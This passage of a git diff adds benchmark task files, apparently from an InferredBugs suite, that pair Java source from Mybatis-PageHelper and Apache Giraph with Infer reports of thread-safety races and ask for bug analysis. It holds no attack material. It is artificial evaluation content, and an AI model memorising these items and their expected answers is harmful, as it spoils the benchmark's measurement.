+                //判断是否需要进行分页查询
+                if (dialect.beforePage(ms, parameter, rowBounds)) {
+                    //生成分页的缓存 key
+                    CacheKey pageKey = cacheKey;
+                    //处理参数对象
+                    parameter = dialect.processParameterObject(ms, parameter, boundSql, pageKey);
+                    //调用方言获取分页 sql
+                    String pageSql = dialect.getPageSql(ms, boundSql, parameter, rowBounds, pageKey);
+                    BoundSql pageBoundSql = new BoundSql(configuration, pageSql, boundSql.getParameterMappings(), parameter);
+                    //设置动态参数
+                    for (String key : additionalParameters.keySet()) {
+                        pageBoundSql.setAdditionalParameter(key, additionalParameters.get(key));
+                    }
+                    //执行分页查询
+                    resultList = executor.query(ms, parameter, RowBounds.DEFAULT, resultHandler, pageKey, pageBoundSql);
+                } else {
+                    //不执行分页的情况下，也不执行内存分页
+                    resultList = executor.query(ms, parameter, RowBounds.DEFAULT, resultHandler, cacheKey, boundSql);
+                }
+            } else {
+                //rowBounds用参数值，不使用分页插件处理时，仍然支持默认的内存分页
+                resultList = executor.query(ms, parameter, rowBounds, resultHandler, cacheKey, boundSql);
+            }
+            return dialect.afterPage(resultList, parameter, rowBounds);
+        } finally {
+            dialect.afterAll();
+        }
+    }
+
+    /**
+     * 执行手动设置的 count 查询，该查询支持的参数必须和被分页的方法相同
+     *
+     * @param executor
+     * @param countMs
+     * @param parameter
+     * @param boundSql
+     * @param resultHandler
+     * @return
+     * @throws IllegalAccessException
+     * @throws SQLException
+     */
+    private Long executeManualCount(Executor executor, MappedStatement countMs,
+                                   Object parameter, BoundSql boundSql,
+                                   ResultHandler resultHandler) throws IllegalAccessException, SQLException {
+        CacheKey countKey = executor.createCacheKey(countMs, parameter, RowBounds.DEFAULT, boundSql);
+        BoundSql countBoundSql = countMs.getBoundSql(parameter);
+        Object countResultList = executor.query(countMs, parameter, RowBounds.DEFAULT, resultHandler, countKey, countBoundSql);
+        Long count = ((Number) ((List) countResultList).get(0)).longValue();
+        return count;
+    }
+
+    /**
+     * 执行自动生成的 count 查询
+     *
+     * @param executor
+     * @param countMs
+     * @param parameter
+     * @param boundSql
+     * @param rowBounds
+     * @param resultHandler
+     * @return
+     * @throws IllegalAccessException
+     * @throws SQLException
+     */
+    private Long executeAutoCount(Executor executor, MappedStatement countMs,
+                                   Object parameter, BoundSql boundSql,
+                                   RowBounds rowBounds, ResultHandler resultHandler) throws IllegalAccessException, SQLException {
+        Map<String, Object> additionalParameters = (Map<String, Object>) additionalParametersField.get(boundSql);
+        //创建 count 查询的缓存 key
+        CacheKey countKey = executor.createCacheKey(countMs, parameter, RowBounds.DEFAULT, boundSql);
+        //调用方言获取 count sql
+        String countSql = dialect.getCountSql(countMs, boundSql, parameter, rowBounds, countKey);
+        //countKey.update(countSql);
+        BoundSql countBoundSql = new BoundSql(countMs.getConfiguration(), countSql, boundSql.getParameterMappings(), parameter);
+        //当使用动态 SQL 时，可能会产生临时的参数，这些参数需要手动设置到新的 BoundSql 中
+        for (String key : additionalParameters.keySet()) {
+            countBoundSql.setAdditionalParameter(key, additionalParameters.get(key));
+        }
+        //执行 count 查询
+        Object countResultList = executor.query(countMs, parameter, RowBounds.DEFAULT, resultHandler, countKey, countBoundSql);
+        Long count = (Long) ((List) countResultList).get(0);
+        return count;
+    }
+
+    /**
+     * 尝试获取已经存在的在 MS，提供对手写count和page的支持
+     *
+     * @param configuration
+     * @param msId
+     * @return
+     */
+    private MappedStatement getExistedMappedStatement(Configuration configuration, String msId){
+        MappedStatement mappedStatement = null;
+        try {
+            mappedStatement = configuration.getMappedStatement(msId, false);
+        } catch (Throwable t){
+            //ignore
+        }
+        return mappedStatement;
+    }
+
+    @Override
+    public Object plugin(Object target) {
+        return Plugin.wrap(target, this);
+    }
+
+    @Override
+    public void setProperties(Properties properties) {
+        //缓存 count ms
+        msCountMap = CacheFactory.createCache(properties.getProperty("msCountCache"), "ms", properties);
+        String dialectClass = properties.getProperty("dialect");
+        if (StringUtil.isEmpty(dialectClass)) {
+            dialectClass = default_dialect_class;
+        }
+        try {
+            Class<?> aClass = Class.forName(dialectClass);
+            dialect = (Dialect) aClass.newInstance();
+        } catch (Exception e) {
+            throw new PageException(e);
+        }
+        dialect.setProperties(properties);
+
+        String countSuffix = properties.getProperty("countSuffix");
+        if (StringUtil.isNotEmpty(countSuffix)) {
+            this.countSuffix = countSuffix;
+        }
+
+        try {
+            //反射获取 BoundSql 中的 additionalParameters 属性
+            additionalParametersField = BoundSql.class.getDeclaredField("additionalParameters");
+            additionalParametersField.setAccessible(true);
+        } catch (NoSuchFieldException e) {
+            throw new PageException(e);
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.github.pagehelper.PageInterceptor.setProperties` writes to field `this.com.github.pagehelper.PageInterceptor.msCountMap` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PageInterceptor.setProperties(Properties)
+
+### Procedure Id:
+com.github.pagehelper.PageInterceptor.setProperties(java.util.Properties):void.7f6f30bd159da648d37afbfa1aa82ef6
+
+### File:
+src/main/java/com/github/pagehelper/PageInterceptor.java
+
+### Key:
+PageInterceptor.java|setProperties|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6549041dd9e49426ab07742638b519aa
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4154/instruction.md b/inferredbugs-4154/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..457bd42f8a66a2c84a69438c1c29c3dce4d35e97
--- /dev/null
+++ b/inferredbugs-4154/instruction.md
@@ -0,0 +1,458 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Mybatis-PageHelper
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2014 abel533@gmail.com
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+package com.github.pagehelper;
+
+import org.apache.ibatis.executor.Executor;
+import org.apache.ibatis.mapping.MappedStatement;
+import org.apache.ibatis.plugin.*;
+import org.apache.ibatis.session.ResultHandler;
+import org.apache.ibatis.session.RowBounds;
+
+import javax.sql.DataSource;
+import java.sql.SQLException;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Mybatis - 通用分页拦截器
+ *
+ * @author liuzh/abel533/isea533
+ * @version 3.3.0
+ *          项目地址 : http://git.oschina.net/free/Mybatis_PageHelper
+ */
+@SuppressWarnings("rawtypes")
+@Intercepts(@Signature(type = Executor.class, method = "query", args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class}))
+public class PageHelper implements Interceptor {
+    //sql工具类
+    private SqlUtil sqlUtil;
+    //属性参数信息
+    private Properties properties;
+    //配置对象方式
+    private SqlUtilConfig sqlUtilConfig;
+    //自动获取dialect
+    private boolean autoDialect;
+    //运行时自动获取dialect
+    private boolean autoRuntimeDialect;
+    //缓存
+    private Map<String, SqlUtil> dialectSqlUtilMap = new ConcurrentHashMap<String, SqlUtil>();
+
+    /**
+     * 获取任意查询方法的count总数
+     *
+     * @param select
+     * @return
+     */
+    public static long count(ISelect select) {
+        Page<?> page = startPage(1, -1, true);
+        select.doSelect();
+        return page.getTotal();
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param pageNum  页码
+     * @param pageSize 每页显示数量
+     */
+    public static <E> Page<E> startPage(int pageNum, int pageSize) {
+        return startPage(pageNum, pageSize, true);
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param pageNum  页码
+     * @param pageSize 每页显示数量
+     * @param count    是否进行count查询
+     */
+    public static <E> Page<E> startPage(int pageNum, int pageSize, boolean count) {
+        return startPage(pageNum, pageSize, count, null);
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param pageNum  页码
+     * @param pageSize 每页显示数量
+     * @param orderBy  排序
+     */
+    public static <E> Page<E> startPage(int pageNum, int pageSize, String orderBy) {
+        Page<E> page = startPage(pageNum, pageSize);
+        page.setOrderBy(orderBy);
+        return page;
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param offset 页码
+     * @param limit  每页显示数量
+     */
+    public static <E> Page<E> offsetPage(int offset, int limit) {
+        return offsetPage(offset, limit, true);
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param offset 页码
+     * @param limit  每页显示数量
+     * @param count  是否进行count查询
+     */
+    public static <E> Page<E> offsetPage(int offset, int limit, boolean count) {
+        Page<E> page = new Page<E>(new int[]{offset, limit}, count);
+        //当已经执行过orderBy的时候
+        Page<E> oldPage = SqlUtil.getLocalPage();
+        if (oldPage != null && oldPage.isOrderByOnly()) {
+            page.setOrderBy(oldPage.getOrderBy());
+        }
+        SqlUtil.setLocalPage(page);
+        return page;
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param offset  页码
+     * @param limit   每页显示数量
+     * @param orderBy 排序
+     */
+    public static <E> Page<E> offsetPage(int offset, int limit, String orderBy) {
+        Page<E> page = offsetPage(offset, limit);
+        page.setOrderBy(orderBy);
+        return page;
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param pageNum    页码
+     * @param pageSize   每页显示数量
+     * @param count      是否进行count查询
+     * @param reasonable 分页合理化,null时用默认配置
+     */
+    public static <E> Page<E> startPage(int pageNum, int pageSize, boolean count, Boolean reasonable) {
+        return startPage(pageNum, pageSize, count, reasonable, null);
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param pageNum      页码
+     * @param pageSize     每页显示数量
+     * @param count        是否进行count查询
+     * @param reasonable   分页合理化,null时用默认配置
+     * @param pageSizeZero true且pageSize=0时返回全部结果，false时分页,null时用默认配置
+     */
+    public static <E> Page<E> startPage(int pageNum, int pageSize, boolean count, Boolean reasonable, Boolean pageSizeZero) {
+        Page<E> page = new Page<E>(pageNum, pageSize, count);
+        page.setReasonable(reasonable);
+        page.setPageSizeZero(pageSizeZero);
+        //当已经执行过orderBy的时候
+        Page<E> oldPage = SqlUtil.getLocalPage();
+        if (oldPage != null && oldPage.isOrderByOnly()) {
+            page.setOrderBy(oldPage.getOrderBy());
+        }
+        SqlUtil.setLocalPage(page);
+        return page;
+    }
+
+    /**
+     * 开始分页
+     *
+     * @param params
+     */
+    public static <E> Page<E> startPage(Object params) {
+        Page<E> page = SqlUtil.getPageFromObject(params);
+        //当已经执行过orderBy的时候
+        Page<E> oldPage = SqlUtil.getLocalPage();
+        if (oldPage != null && oldPage.isOrderByOnly()) {
+            page.setOrderBy(oldPage.getOrderBy());
+        }
+        SqlUtil.setLocalPage(page);
+        return page;
+    }
+
+    /**
+     * 排序
+     *
+     * @param orderBy
+     */
+    public static void orderBy(String orderBy) {
+        Page<?> page = SqlUtil.getLocalPage();
+        if (page != null) {
+            page.setOrderBy(orderBy);
+        } else {
+            page = new Page();
+            page.setOrderBy(orderBy);
+            page.setOrderByOnly(true);
+            SqlUtil.setLocalPage(page);
+        }
+    }
+
+    /**
+     * 获取orderBy
+     *
+     * @return
+     */
+    public static String getOrderBy() {
+        Page<?> page = SqlUtil.getLocalPage();
+        if (page != null) {
+            String orderBy = page.getOrderBy();
+            if (StringUtil.isEmpty(orderBy)) {
+                return null;
+            } else {
+                return orderBy;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Mybatis拦截器方法
+     *
+     * @param invocation 拦截器入参
+     * @return 返回执行结果
+     * @throws Throwable 抛出异常
+     */
+    public Object intercept(Invocation invocation) throws Throwable {
+        SqlUtil sqlUtil;
+        if (autoRuntimeDialect) {
+            sqlUtil = getSqlUtil(invocation);
+        } else {
+            if (autoDialect) {
+                initSqlUtil(invocation);
+            }
+            sqlUtil = this.sqlUtil;
+        }
+        return sqlUtil.processPage(invocation);
+    }
+
+    /**
+     * 初始化sqlUtil
+     *
+     * @param invocation
+     */
+    public synchronized void initSqlUtil(Invocation invocation) {
+        if (this.sqlUtil == null) {
+            this.sqlUtil = getSqlUtil(invocation);
+            if (!autoRuntimeDialect) {
+                properties = null;
+                sqlUtilConfig = null;
+            }
+            autoDialect = false;
+        }
+    }
+
+    /**
+     * 根据daatsource创建对应的sqlUtil
+     *
+     * @param invocation
+     */
+    public SqlUtil getSqlUtil(Invocation invocation) {
+        String url;
+        try {
+            MappedStatement ms = (MappedStatement) invocation.getArgs()[0];
+            //TODO 这里能否对dataSource和dialect做映射，或者能否确定所有的DataSource都有url属性?
+            DataSource dataSource = ms.getConfiguration().getEnvironment().getDataSource();
+            url = dataSource.getConnection().getMetaData().getURL();
+        } catch (SQLException e) {
+            throw new RuntimeException("分页插件初始化异常:" + e.getMessage());
+        }
+        if (StringUtil.isEmpty(url)) {
+            throw new RuntimeException("无法自动获取jdbcUrl，请在分页插件中配置dialect参数!");
+        }
+        String dialect = Dialect.fromJdbcUrl(url);
+        if (dialect == null) {
+            throw new RuntimeException("无法自动获取数据库类型，请通过dialect参数指定!");
+        }
+        if (dialectSqlUtilMap.containsKey(dialect)) {
+            return dialectSqlUtilMap.get(dialect);
+        }
+        ReentrantLock lock = new ReentrantLock();
+        SqlUtil sqlUtil = null;
+        try {
+            lock.lock();
+            if (dialectSqlUtilMap.containsKey(dialect)) {
+                return dialectSqlUtilMap.get(dialect);
+            }
+            sqlUtil = new SqlUtil(dialect);
+            if (this.properties != null) {
+                sqlUtil.setProperties(properties);
+            } else if (this.sqlUtilConfig != null) {
+                sqlUtil.setSqlUtilConfig(this.sqlUtilConfig);
+            }
+            dialectSqlUtilMap.put(dialect, sqlUtil);
+        } finally {
+            lock.unlock();
+        }
+        return sqlUtil;
+    }
+
+    /**
+     * 只拦截Executor
+     *
+     * @param target
+     * @return
+     */
+    public Object plugin(Object target) {
+        if (target instanceof Executor) {
+            return Plugin.wrap(target, this);
+        } else {
+            return target;
+        }
+    }
+
+    private void checkVersion() {
+        //MyBatis3.2.0版本校验
+        try {
+            Class.forName("org.apache.ibatis.scripting.xmltags.SqlNode");//SqlNode是3.2.0之后新增的类
+        } catch (ClassNotFoundException e) {
+            throw new RuntimeException("您使用的MyBatis版本太低，MyBatis分页插件PageHelper支持MyBatis3.2.0及以上版本!");
+        }
+    }
+
+    /**
+     * 设置属性值
+     *
+     * @param p 属性值
+     */
+    public void setProperties(Properties p) {
+        checkVersion();
+        //数据库方言
+        String dialect = p.getProperty("dialect");
+        String runtimeDialect = p.getProperty("autoRuntimeDialect");
+        if (StringUtil.isNotEmpty(runtimeDialect) && runtimeDialect.equalsIgnoreCase("TRUE")) {
+            this.autoRuntimeDialect = true;
+            this.autoDialect = false;
+            this.properties = p;
+        } else if (StringUtil.isEmpty(dialect)) {
+            autoDialect = true;
+            this.properties = p;
+        } else {
+            autoDialect = false;
+            sqlUtil = new SqlUtil(dialect);
+            sqlUtil.setProperties(p);
+        }
+    }
+
+    /**
+     * 设置属性值
+     *
+     * @param config
+     */
+    public void setSqlUtilConfig(SqlUtilConfig config) {
+        checkVersion();
+        if (config.isAutoRuntimeDialect()) {
+            this.autoRuntimeDialect = true;
+            this.autoDialect = false;
+            this.sqlUtilConfig = config;
+        } else if (StringUtil.isEmpty(config.getDialect())) {
+            autoDialect = true;
+            this.sqlUtilConfig = config;
+        } else {
+            autoDialect = false;
+            sqlUtil = new SqlUtil(config.getDialect());
+            sqlUtil.setSqlUtilConfig(config);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.github.pagehelper.PageHelper.intercept` reads without synchronization from `this.com.github.pagehelper.PageHelper.sqlUtil`. Potentially races with write in method `PageHelper.initSqlUtil(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object PageHelper.intercept(Invocation)
+
+### Procedure Id:
+com.github.pagehelper.PageHelper.intercept(org.apache.ibatis.plugin.Invocation):java.lang.Object.20b8e6a77a5fdc854d7888b5ef141130
+
+### File:
+src/main/java/com/github/pagehelper/PageHelper.java
+
+### Key:
+PageHelper.java|intercept|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+b3305ad5be410c76ea3aa09e24d20b3a
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4162/instruction.md b/inferredbugs-4162/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..125ca1851ba765f1dc88b27f5163e380f4f2af7e
--- /dev/null
+++ b/inferredbugs-4162/instruction.md
@@ -0,0 +1,2064 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** giraph
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to Yahoo! under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  Yahoo! licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.giraph.graph;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutput;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import org.apache.commons.codec.binary.Base64;
+
+import org.apache.log4j.Logger;
+import org.apache.hadoop.fs.FSDataOutputStream;
+import org.apache.hadoop.fs.FileStatus;
+import org.apache.hadoop.fs.FileSystem;
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.fs.PathFilter;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.io.Writable;
+import org.apache.hadoop.io.WritableComparable;
+
+import org.apache.hadoop.mapred.RunningJob;
+import org.apache.hadoop.mapreduce.Counter;
+import org.apache.hadoop.mapreduce.InputSplit;
+import org.apache.hadoop.mapreduce.Mapper;
+
+import org.apache.zookeeper.KeeperException;
+import org.apache.zookeeper.CreateMode;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher.Event.EventType;
+import org.apache.zookeeper.ZooDefs.Ids;
+
+import org.apache.giraph.bsp.BspInputFormat;
+import org.apache.giraph.bsp.CentralizedService;
+import org.apache.giraph.bsp.CentralizedServiceMaster;
+import org.apache.giraph.graph.GraphMapper.MapFunctions;
+import org.apache.giraph.zk.BspEvent;
+import org.apache.giraph.zk.PredicateLock;
+
+/**
+ * Zookeeper-based implementation of {@link CentralizedService}.
+ */
+@SuppressWarnings("rawtypes")
+public class BspServiceMaster<
+        I extends WritableComparable,
+        V extends Writable,
+        E extends Writable, M extends Writable>
+        extends BspService<I, V, E, M>
+        implements CentralizedServiceMaster<I, V, E, M> {
+    /** Class logger */
+    private static final Logger LOG = Logger.getLogger(BspServiceMaster.class);
+    /** Synchronizes vertex ranges */
+    private Object vertexRangeSynchronization = new Object();
+    /** Superstep counter */
+    private Counter superstepCounter = null;
+    /** Vertex counter */
+    private Counter vertexCounter = null;
+    /** Finished vertex counter */
+    private Counter finishedVertexCounter = null;
+    /** Edge counter */
+    private Counter edgeCounter = null;
+    /** Sent messages counter */
+    private Counter sentMessagesCounter = null;
+    /** Workers on this superstep */
+    private Counter currentWorkersCounter = null;
+    /** Am I the master? */
+    private boolean isMaster = false;
+    /** Max number of workers */
+    private final int maxWorkers;
+    /** Min number of workers */
+    private final int minWorkers;
+    /** Min % responded workers */
+    private final float minPercentResponded;
+    /** Poll period in msecs */
+    private final int msecsPollPeriod;
+    /** Max number of poll attempts */
+    private final int maxPollAttempts;
+    /** Min number of long tails before printing */
+    private final int partitionLongTailMinPrint;
+    /** Last finalized checkpoint */
+    private long lastCheckpointedSuperstep = -1;
+    /** State of the superstep changed */
+    private final BspEvent superstepStateChanged =
+        new PredicateLock();
+
+    public BspServiceMaster(
+            String serverPortList,
+            int sessionMsecTimeout,
+            Mapper<?, ?, ?, ?>.Context context,
+            GraphMapper<I, V, E, M> graphMapper) {
+        super(serverPortList, sessionMsecTimeout, context, graphMapper);
+        registerBspEvent(superstepStateChanged);
+
+        maxWorkers =
+            getConfiguration().getInt(GiraphJob.MAX_WORKERS, -1);
+        minWorkers =
+            getConfiguration().getInt(GiraphJob.MIN_WORKERS, -1);
+        minPercentResponded =
+            getConfiguration().getFloat(GiraphJob.MIN_PERCENT_RESPONDED,
+                                        100.0f);
+        msecsPollPeriod =
+            getConfiguration().getInt(GiraphJob.POLL_MSECS,
+                                      GiraphJob.POLL_MSECS_DEFAULT);
+        maxPollAttempts =
+            getConfiguration().getInt(GiraphJob.POLL_ATTEMPTS,
+                                      GiraphJob.POLL_ATTEMPTS_DEFAULT);
+        partitionLongTailMinPrint = getConfiguration().getInt(
+            GiraphJob.PARTITION_LONG_TAIL_MIN_PRINT,
+            GiraphJob.PARTITION_LONG_TAIL_MIN_PRINT_DEFAULT);
+    }
+
+    @Override
+    public void setJobState(State state,
+                            long applicationAttempt,
+                            long desiredSuperstep) {
+        JSONObject jobState = new JSONObject();
+        try {
+            jobState.put(JSONOBJ_STATE_KEY, state.toString());
+            jobState.put(JSONOBJ_APPLICATION_ATTEMPT_KEY, applicationAttempt);
+            jobState.put(JSONOBJ_SUPERSTEP_KEY, desiredSuperstep);
+        } catch (JSONException e) {
+            throw new RuntimeException("setJobState: Coudn't put " +
+                                       state.toString());
+        }
+        if (LOG.isInfoEnabled()) {
+            LOG.info("setJobState: " + jobState.toString() + " on superstep " +
+                     getSuperstep());
+        }
+        try {
+            getZkExt().createExt(MASTER_JOB_STATE_PATH + "/jobState",
+                                 jobState.toString().getBytes(),
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT_SEQUENTIAL,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            throw new IllegalStateException(
+                "setJobState: Imposible that " +
+                MASTER_JOB_STATE_PATH + " already exists!", e);
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "setJobState: Unknown KeeperException for " +
+                MASTER_JOB_STATE_PATH, e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "setJobState: Unknown InterruptedException for " +
+                MASTER_JOB_STATE_PATH, e);
+        }
+
+        if (state == BspService.State.FAILED) {
+            failJob();
+        }
+    }
+
+    /**
+     * Master uses this to calculate the {@link VertexInputFormat}
+     * input splits and write it to ZooKeeper.
+     *
+     * @param numWorkers Number of available workers
+     * @throws InstantiationException
+     * @throws IllegalAccessException
+     * @throws IOException
+     * @throws InterruptedException
+     */
+    private List<InputSplit> generateInputSplits(int numWorkers) {
+        VertexInputFormat<I, V, E> vertexInputFormat =
+            BspUtils.<I, V, E>createVertexInputFormat(getConfiguration());
+        List<InputSplit> splits;
+        try {
+            splits = vertexInputFormat.getSplits(getContext(), numWorkers);
+            return splits;
+        } catch (IOException e) {
+            throw new IllegalStateException(
+                "generateInputSplits: Got IOException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "generateInputSplits: Got InterruptedException", e);
+        }
+    }
+
+    /**
+     * When there is no salvaging this job, fail it.
+     *
+     * @throws IOException
+     */
+    private void failJob() {
+        LOG.fatal("failJob: Killing job " + getJobId());
+        try {
+            @SuppressWarnings("deprecation")
+            org.apache.hadoop.mapred.JobClient jobClient =
+                new org.apache.hadoop.mapred.JobClient(
+                    (org.apache.hadoop.mapred.JobConf)
+                    getConfiguration());
+            @SuppressWarnings("deprecation")
+            org.apache.hadoop.mapred.JobID jobId =
+                org.apache.hadoop.mapred.JobID.forName(getJobId());
+            RunningJob job = jobClient.getJob(jobId);
+            job.killJob();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Get the healthy and unhealthy workers for a superstep
+     *
+     * @param superstep superstep to check
+     * @param healthyWorkerList filled in with current data
+     * @param unhealthyWorkerList filled in with current data
+     */
+    private void getWorkers(long superstep,
+                            List<String> healthyWorkerList,
+                            List<String> unhealthyWorkerList) {
+        String healthyWorkerPath =
+            getWorkerHealthyPath(getApplicationAttempt(), superstep);
+        String unhealthyWorkerPath =
+            getWorkerUnhealthyPath(getApplicationAttempt(), superstep);
+
+        try {
+            getZkExt().createExt(healthyWorkerPath,
+                                 null,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("getWorkers: " + healthyWorkerPath +
+                          " already exists, no need to create.");
+            }
+        } catch (KeeperException e) {
+            throw new IllegalStateException("getWorkers: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException("getWorkers: IllegalStateException"
+                                            , e);
+        }
+
+        try {
+            getZkExt().createExt(unhealthyWorkerPath,
+                                 null,
+                                 Ids.OPEN_ACL_UNSAFE,
+                                 CreateMode.PERSISTENT,
+                                 true);
+        } catch (KeeperException.NodeExistsException e) {
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("getWorkers: " + healthyWorkerPath +
+                          " already exists, no need to create.");
+            }
+        } catch (KeeperException e) {
+            throw new IllegalStateException("getWorkers: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException("getWorkers: IllegalStateException"
+                                            , e);
+        }
+
+        List<String> currentHealthyWorkerList = null;
+        List<String> currentUnhealthyWorkerList = null;
+        try {
+            currentHealthyWorkerList =
+                getZkExt().getChildrenExt(healthyWorkerPath, true, false, false);
+        } catch (KeeperException.NoNodeException e) {
+            LOG.info("getWorkers: No node for " + healthyWorkerPath);
+        } catch (KeeperException e) {
+            throw new IllegalStateException("getWorkers: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException("getWorkers: IllegalStateException"
+                                            , e);
+        }
+
+        try {
+            currentUnhealthyWorkerList =
+                getZkExt().getChildrenExt(unhealthyWorkerPath, true, false, false);
+        } catch (KeeperException.NoNodeException e) {
+            LOG.info("getWorkers: No node for " + unhealthyWorkerPath);
+        } catch (KeeperException e) {
+            throw new IllegalStateException("getWorkers: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException("getWorkers: IllegalStateException"
+                                            , e);
+        }
+
+        healthyWorkerList.clear();
+        if (currentHealthyWorkerList != null) {
+            for (String healthyWorker : currentHealthyWorkerList) {
+                healthyWorkerList.add(healthyWorker);
+            }
+        }
+
+        unhealthyWorkerList.clear();
+        if (currentUnhealthyWorkerList != null) {
+            for (String unhealthyWorker : currentUnhealthyWorkerList) {
